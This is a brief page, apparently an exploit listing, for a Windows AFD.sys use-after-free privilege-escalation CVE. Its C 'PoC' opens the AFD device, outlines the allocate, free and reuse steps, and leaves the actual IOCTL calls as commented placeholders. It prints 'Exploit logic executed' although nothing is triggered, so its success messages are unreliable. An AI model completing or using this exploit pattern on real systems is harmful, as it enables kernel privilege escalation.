CVE-2026-32073 Windows AFD驱动本地提权漏洞

#include <windows.h> #include <stdio.h> // PoC for CVE-2026-32073: Windows AFD.sys Use After Free // Note: This is a conceptual demonstration structure. // Specific IOCTLs and memory manipulation logic are required for actual exploitation. int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x20] = {0}; printf("[*] Triggering CVE-2026-32073 PoC...\n"); // 1. Open handle to the AFD driver hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to get handle. Error: %d\n", GetLastError()); return 1; } printf("[+] Handle acquired: 0x%p\n", hDevice); // 2. Trigger the vulnerability (Conceptual) // Step A: Allocate vulnerable object // DeviceIoControl(hDevice, IOCTL_ALLOCATE, ...); // Step B: Free the object (UAF trigger) // DeviceIoControl(hDevice, IOCTL_FREE, ...); // Step C: Reuse the freed memory // DeviceIoControl(hDevice, IOCTL_REUSE, ...); // 3. If successful, the system may crash (BSOD) or elevate privileges printf("[*] Exploit logic executed.\n"); CloseHandle(hDevice); return 0; }